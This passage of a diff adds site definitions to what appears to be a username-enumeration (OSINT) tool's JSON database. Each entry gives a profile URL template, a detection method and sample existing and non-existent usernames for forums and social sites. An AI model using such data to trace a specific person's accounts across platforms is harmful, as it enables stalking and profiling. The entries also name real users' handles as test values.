"noonewouldeverusethis7" + }, + "biohack": { + "checkType": "status_code", + "alexaRank": 2248035, + "urlMain": "https://forum.biohack.me", + "url": "https://forum.biohack.me/index.php?p=/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "bluesystem": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "images/avatars/default_avatars/22.gif" + ], + "alexaRank": 2076846, + "urlMain": "http://forum.bluesystem.online", + "url": "http://forum.bluesystem.online/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Tiffani", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "browncafe.com": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 449545, + "urlMain": "http://www.browncafe.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "caravelgames": { + "checkType": "message", + "absenceStrs": [ + "Guest" + ], + "alexaRank": 2871774, + "urlMain": "http://forum.caravelgames.com", + "url": "http://forum.caravelgames.com/member.php?Action=viewprofile&username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "catholic": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 66514, + "urlMain": "https://forums.catholic.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ceed.at.ua": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 6723704, + "urlMain": "http://ceed.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cfd-online": { + "tags": [ + "ca", + "de", + "fr", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "CFD Online Discussion Forums" + ], + "alexaRank": 90772, + "urlMain": "https://www.cfd-online.com", + "url": "https://www.cfd-online.com/Forums/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "chaos.social": { + "checkType": "status_code", + "alexaRank": 2073381, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://chaos.social/", + "url": "https://chaos.social/@{username}", + "usernameClaimed": "rixx", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "cheat-master.ru": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 498528, + "urlMain": "http://cheat-master.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "chsnik-kz.ucoz.kz": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 280915, + "urlMain": "http://chsnik-kz.ucoz.kz", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cigarpass.com": { + "tags": [ + "forum", + "ir" + ], + "engine": "XenForo", + "alexaRank": 1051756, + "urlMain": "http://www.cigarpass.com/forum", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club-2105.at.ua": { + "engine": "uCoz", + "urlMain": "http://club-2105.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club-fiat.org.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 2757380, + "urlMain": "http://club-fiat.org.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club.7ya.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 38054, + "urlMain": "https://club.7ya.ru", + "url": "https://club.7ya.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club.cnews.ru": { + "disabled": true, + "tags": [ + "blog", + "ru" + ], + "checkType": "status_code", + "alexaRank": 19671, + "urlMain": "https://club.cnews.ru/", + "url": "https://club.cnews.ru/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "clubsnap.com": { + "tags": [ + "forum", + "in", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 463420, + "urlMain": "https://www.clubsnap.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "collectors.com": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 44338, + "urlMain": "https://forums.collectors.com", + "url": "https://forums.collectors.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "community.asterisk.org": { + "tags": [ + "forum", + "in", + "ir", + "jp", + "us" + ], + "engine": "Discourse", + "alexaRank": 60320, + "urlMain": "https://community.asterisk.org", + "usernameClaimed": "bford", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "community.p2pu.org": { + "engine": "Discourse", + "alexaRank": 657370, + "urlMain": "https://community.p2pu.org", + "usernameClaimed": "grif", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "couchsurfing": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 19065, + "urlMain": "https://www.couchsurfing.com/", + "url": "https://www.couchsurfing.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "crown6.org": { + "engine": "uCoz", + "alexaRank": 677490, + "urlMain": "http://crown6.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cs-ru.ucoz.org": { + "engine": "uCoz", + "urlMain": "http://cs-ru.ucoz.org", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cs-strikez.org": { + "tags": [ + "by", + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 380907, + "urlMain": "http://cs-strikez.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cyber.harvard.edu": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 575, + "urlMain": "https://cyber.harvard.edu", + "url": "https://cyber.harvard.edu/people/{username}", + "usernameClaimed": "dboyd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "d3": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 45834, + "urlMain": "https://d3.ru/", + "url": "https://d3.ru/user/{username}/posts", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dailykos": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6815, + "urlMain": "https://www.dailykos.com", + "url": "https://www.dailykos.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "delta72.at.ua": { + "engine": "uCoz", + "alexaRank": 3634377, + "urlMain": "http://delta72.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "devRant": { + "tags": [ + "coding", + "in" + ], + "checkType": "response_url", + "alexaRank": 113177, + "urlMain": "https://devrant.com/", + "url": "https://devrant.com/users/{username}", + "errorUrl": "https://devrant.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "devushka": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 1755762, + "urlMain": "https://devushka.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "diecastcrazy.com": { + "engine": "XenForo", + "alexaRank": 1796471, + "urlMain": "http://diecastcrazy.com/", + "usernameClaimed": "texas3", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "auto", + "forum" + ] + }, + "dieselmastera.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1315813, + "urlMain": "http://dieselmastera.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dimitrov.ucoz.ua": { + "engine": "uCoz", + "alexaRank": 9464803, + "urlMain": "http://dimitrov.ucoz.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "discourse.haskell.org": { + "tags": [ + "coding", + "forum", + "in", + "za" + ], + "engine": "Discourse", + "alexaRank": 64969, + "urlMain": "https://discourse.haskell.org", + "usernameClaimed": "philipgaudreau", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "diz-cs.ru": { + "engine": "uCoz", + "alexaRank": 5886610, + "urlMain": "http://diz-cs.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dnbforum.com": { + "engine": "XenForo", + "alexaRank": 4411168, + "urlMain": "http://dnbforum.com/", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "doctissimo": { + "tags": [ + "fr" + ], + "checkType": "status_code", + "alexaRank": 6721, + "urlMain": "https://club.doctissimo.fr", + "url": "https://club.doctissimo.fr/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "donate.stream": { + "tags": [ + "finance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 373930, + "urlMain": "https://donate.stream/", + "url": "https://donate.stream/{username}", + "usernameClaimed": "moses91", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dpils-scooter.ucoz.lv": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 408770, + "urlMain": "http://dpils-scooter.ucoz.lv", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "drawmixpaint": { + "checkType": "status_code", + "alexaRank": 884576, + "urlMain": "https://forum.drawmixpaint.com", + "url": "https://forum.drawmixpaint.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "disabled": true + }, + "dremel.do.am": { + "engine": "uCoz", + "urlMain": "http://dremel.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "drive2": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://www.drive2.ru/", + "url": "https://www.drive2.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1558 + }, + "dvocu.ru": { + "engine": "uCoz", + "alexaRank": 8131750, + "urlMain": "http://dvocu.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dwg": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 45931, + "urlMain": "https://forum.dwg.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eBaumsWorld": { + "tags": [ + "news" + ], + "checkType": "status_code", + "alexaRank": 9556, + "urlMain": "https://www.ebaumsworld.com/", + "url": "https://www.ebaumsworld.com/user/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eGPU": { + "tags": [ + "forum", + "jp", + "tech", + "tw", + "us" + ], + "checkType": "status_code", + "alexaRank": 105020, + "urlMain": "https://egpu.io/", + "url": "https://egpu.io/forums/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "easyen": { + "tags": [ + "ru" + ], + "presenseStrs": [ + "prof_12w_pr" + ], + "engine": "uCoz", + "alexaRank": 11663, + "urlMain": "https://easyen.ru", + "usernameClaimed": "wd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "easyjob.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://easyjob.ucoz.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "egida.by": { + "tags": [ + "by" + ], + "engine": "uCoz", + "alexaRank": 421582, + "urlMain": "http://egida.by", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eintracht": { + "tags": [ + "tr", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 416094, + "urlMain": "https://eintracht.de", + "url": "https://community.eintracht.de/fans/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ekzoticsad.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ekzoticsad.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "elektrik-avto.ru": { + "engine": "uCoz", + "alexaRank": 2524316, + "urlMain": "http://elektrik-avto.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "empires.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://empires.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "espero-club.ru": { + "engine": "uCoz", + "urlMain": "http://espero-club.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "excelworld.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 283903, + "urlMain": "http://excelworld.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fablero.ucoz.ru": { + "tags": [ + "in" + ], + "engine": "uCoz", + "alexaRank": 926078, + "urlMain": "http://fablero.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fanat1k": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 84823, + "urlMain": "https://forum.fanat1k.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fanficslandia.com": { + "engine": "XenForo", + "alexaRank": 9313550, + "urlMain": "https://fanficslandia.com/index.php", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "fire-team.clan.su": { + "engine": "uCoz", + "urlMain": "http://fire-team.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "firesofheaven.org": { + "engine": "XenForo", + "alexaRank": 904078, + "urlMain": "https://www.firesofheaven.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "fixya": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 4826, + "urlMain": "https://www.fixya.com", + "url": "https://www.fixya.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fl": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 62704, + "urlMain": "https://www.fl.ru/", + "url": "https://www.fl.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fobia.at.ua": { + "engine": "uCoz", + "urlMain": "http://fobia.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "footballindex": { + "tags": [ + "forum", + "gb", + "in", + "sg", + "us" + ], + "checkType": "status_code", + "alexaRank": 960980, + "urlMain": "https://forums.footballindex.co.uk", + "url": "https://forums.footballindex.co.uk/user/{username}", + "usernameClaimed": "misto", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "forex-trader.do.am": { + "engine": "uCoz", + "urlMain": "http://forex-trader.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum-b.ru": { + "disabled": true, + "tags": [ + "forum", + "freelance", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1591283, + "urlMain": "https://forum-b.ru", + "url": "https://forum-b.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "pirat4761", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum-mil.ru": { + "engine": "uCoz", + "alexaRank": 7895206, + "urlMain": "http://forum-mil.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "forum-ssc.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://forum-ssc.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "forum.cxem.net": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "errors": { + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430": "Too many reqeusts" + }, + "checkType": "message", + "absenceStrs": [ + "\u041d\u0430\u0439\u0434\u0435\u043d\u043e 0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + ], + "alexaRank": 45469, + "urlMain": "https://forum.cxem.net/", + "url": "https://forum.cxem.net/index.php?/search/&q={username}&quick=1&type=core_members", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.hr": { + "tags": [ + "forum", + "hr" + ], + "engine": "vBulletin", + "alexaRank": 47440, + "urlMain": "http://www.forum.hr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.nameberry.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 18495, + "urlMain": "https://forum.nameberry.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.postupim.ru": { + "tags": [ + "education", + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 1026513, + "urlMain": "http://forum.postupim.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.ubuntu-it.org": { + "tags": [ + "ch", + "forum", + "in", + "it" + ], + "engine": "phpBB", + "alexaRank": 120956, + "urlMain": "https://forum.ubuntu-it.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.ykt.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "response_url", + "alexaRank": 20164, + "urlMain": "https://forum.ykt.ru", + "url": "https://forum.ykt.ru/viewprofile.jsp?forum_id=11&user={username}", + "usernameClaimed": "NINJA", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.battlefield.com": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 30405, + "urlMain": "https://forums.battlefield.com", + "url": "https://forums.battlefield.com/en-us/profile/{username}", + "usernameClaimed": "NLBartmaN", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.bulbagarden.net": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 4189, + "urlMain": "http://forums.bulbagarden.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.digitalpoint.com": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 17020, + "urlMain": "https://forums.digitalpoint.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.docker.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 2797, + "urlMain": "https://forums.docker.com", + "usernameClaimed": "dafritz84", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.drom.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + ], + "alexaRank": 1272, + "urlMain": "https://www.forumsdrom.ru/", + "url": "https://www.forumsdrom.ru/member.php?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.ea.com": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 610, + "urlMain": "https://forums.ea.com", + "url": "https://forums.ea.com/en/nhl/profile/discussions/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.eagle.ru": { + "disabled": true, + "tags": [ + "ca", + "forum", + "gaming", + "gb", + "in", + "us" + ], + "engine": "vBulletin", + "alexaRank": 114146, + "urlMain": "https://forums.eagle.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.opera.com": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 1523, + "urlMain": "https://forums.opera.com/", + "url": "https://forums.opera.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.overclockers.co.uk": { + "tags": [ + "forum", + "gb", + "uk" + ], + "disabled": true, + "engine": "XenForo", + "alexaRank": 17632, + "urlMain": "https://forums.overclockers.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.sailboatowners.com": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 182197, + "urlMain": "http://forums.sailboatowners.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.serebii.net": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 6195, + "urlMain": "https://forums.serebii.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.wrestlezone.com": { + "engine": "XenForo", + "alexaRank": 926689, + "urlMain": "http://forums.wrestlezone.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "foumds.universaldashboard.io": { + "engine": "Discourse", + "alexaRank": 1166714, + "urlMain": "https://forums.universaldashboard.io/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "free-pass.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2267468, + "urlMain": "http://free-pass.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codeby.net": { + "tags": [ + "forum", + "hacking", + "ru" + ], + "engine": "XenForo", + "alexaRank": 174592, + "urlMain": "https://codeby.net", + "usernameClaimed": "pragmalion", + "disabled": true, + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "freelance.codeby.net": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430!" + ], + "alexaRank": 174592, + "urlMain": "https://freelance.codeby.net", + "url": "https://freelance.codeby.net/user/{username}/portfolio/", + "usernameClaimed": "agnerfist", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "funcom": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 133344, + "urlMain": "https://forums.funcom.com", + "usernameClaimed": "everqu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "funny-games.biz": { + "disabled": true, + "tags": [ + "forum", + "lt", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 107518, + "urlMain": "https://forums.funny-games.biz", + "url": "https://forums.funny-games.biz/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "garminych": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://forum.garminych.ru/", + "url": "http://forum.garminych.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Corado", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gcup.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 303192, + "urlMain": "http://gcup.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gebirgs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gebirgs.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby", + "ru" + ] + }, + "gentoo": { + "tags": [ + "fi", + "forum", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "title>Gentoo Forums :: " + ], + "alexaRank": 60225, + "urlMain": "https://forums.gentoo.org", + "url": "https://forums.gentoo.org/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "geocaching": { + "tags": [ + "de", + "hobby", + "us" + ], + "checkType": "status_code", + "alexaRank": 17871, + "urlMain": "https://www.geocaching.com/", + "url": "https://www.geocaching.com/profile/?u={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "getmyuni": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Error 404" + ], + "alexaRank": 8345, + "urlMain": "https://getmyuni.com/", + "url": "https://www.getmyuni.com/user/{username}", + "usernameClaimed": "Subeesh.S30b0", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "gfycat": { + "tags": [ + "photo", + "sharing" + ], + "checkType": "status_code", + "alexaRank": 2166, + "urlMain": "https://gfycat.com/", + "url": "https://gfycat.com/@{username}", + "usernameClaimed": "Test", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "gitarizm": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 7680768, + "urlMain": "https://forum.gitarizm.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gloria.tv": { + "tags": [ + "ar", + "mx", + "pl", + "sk", + "us" + ], + "checkType": "status_code", + "alexaRank": 38090, + "urlMain": "https://gloria.tv", + "url": "https://gloria.tv/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "goha": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 57862, + "urlMain": "https://forums.goha.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Habr": { + "tags": [ + "blog", + "discussion", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://habr.com/", + "url": "https://habr.com/ru/users/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hackings.ru": { + "engine": "uCoz", + "urlMain": "http://hackings.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackster": { + "tags": [ + "in", + "tech" + ], + "checkType": "status_code", + "alexaRank": 21573, + "urlMain": "https://www.hackster.io", + "url": "https://www.hackster.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hikvision.msk.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1279617, + "urlMain": "http://hikvision.msk.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hiveos.farm": { + "tags": [ + "at", + "cz", + "forum", + "ru", + "us" + ], + "engine": "Discourse", + "alexaRank": 6288, + "urlMain": "https://forum.hiveos.farm", + "usernameClaimed": "halogenius", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hochu": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "phpBB", + "alexaRank": 50460, + "urlMain": "http://forum.hochu.ua", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "hogwarts.nz": { + "engine": "XenForo", + "alexaRank": 7856081, + "urlMain": "https://hogwarts.nz/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "hondaswap.com": { + "engine": "XenForo", + "alexaRank": 1387532, + "urlMain": "http://hondaswap.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "hunting": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 121760, + "urlMain": "https://www.hunting.ru/forum/", + "url": "https://www.hunting.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "iPhoneForums.net": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1961168, + "urlMain": "https://www.iphoneforums.net", + "url": "https://www.iphoneforums.net/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "iRecommend.RU": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2482, + "urlMain": "https://irecommend.ru/", + "url": "https://irecommend.ru/users/{username}", + 